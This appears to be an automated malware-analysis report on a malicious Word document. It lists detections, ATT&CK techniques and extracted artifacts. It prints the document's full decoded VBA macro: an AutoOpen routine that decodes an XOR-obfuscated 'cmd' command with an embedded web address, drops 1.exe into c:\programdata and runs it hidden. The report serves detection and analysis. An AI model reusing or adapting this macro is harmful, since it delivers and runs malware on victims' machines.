MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample is a malicious OOXML document containing a VBA macro with an AutoOpen function. This macro is designed to copy an embedded resource to 'c:\programdata\1.exe' and then execute it using WshShell.run. The external relationship to 'file:///C:\Builder\rels\dirpack3\us.jpg' suggests a potential source or staging location for the payload.
Heuristics 6
-
ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
-
External relationship high OOXML_EXTERNAL_RELExternal target in word/_rels/document.xml.rels: file:///C:\Builder\rels\dirpack3\us.jpg
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
- http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
- http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
- http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1314 bytes |
SHA-256: 9b494a72bef7584d90e2c09b84c69cf93f958151587d0bb263ddb41a6dfcc112 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "jr"
Function c()
c = "c:\programdata\1.exe"
End Function
Sub autoopen()
ag = h("103-105-96-36-43-103-36-38-119-97-112-36-113-57-113-118-104-103-101-103-108-97-34-34-119-97-112-36-118-57-118-97-99-119-114-118-34-34-103-101-104-104-36-71-62-88-84-118-107-99-118-101-105-64-101-112-101-88-53-42-97-124-97-36-43-33-113-33-36-43-98-90-36-108-112-112-116-62-43-43-99-51-101-108-61-101-42-103-107-105-43-103-113-96-107-43-112-107-105-125-119-42-116-108-116-59-104-57-118-113-102-109-60-42-103-101-102-36-71-62-88-84-118-107-99-118-101-105-64-101-112-101-88-53-42-112-105-116-36-34-34-36-103-101-104-104-36-33-118-33-55-54-36-71-62-88-84-118-107-99-118-101-105-64-101-112-101-88-53-42-112-105-116-38")
Call VBA.FileCopy(ActiveDocument.Shapes(1).Title, c)
Dim Dt As New WshShell
Call Dt.run(ag, 0)
End Sub
Attribute VB_Name = "ej"
Function gn(Qv)
gn = Split(Qv, "-")
End Function
Function h(Qv)
f2 = gn(Qv)
For xy = 0 To UBound(f2)
AK = AK & Chr(f2(xy) Xor 4)
Next xy
h = AK
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 16384 bytes |
SHA-256: 307f35bcd37341c6e78e1a1aa519d2d9de884ab200be7f67c11317e1eb1d77ae |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.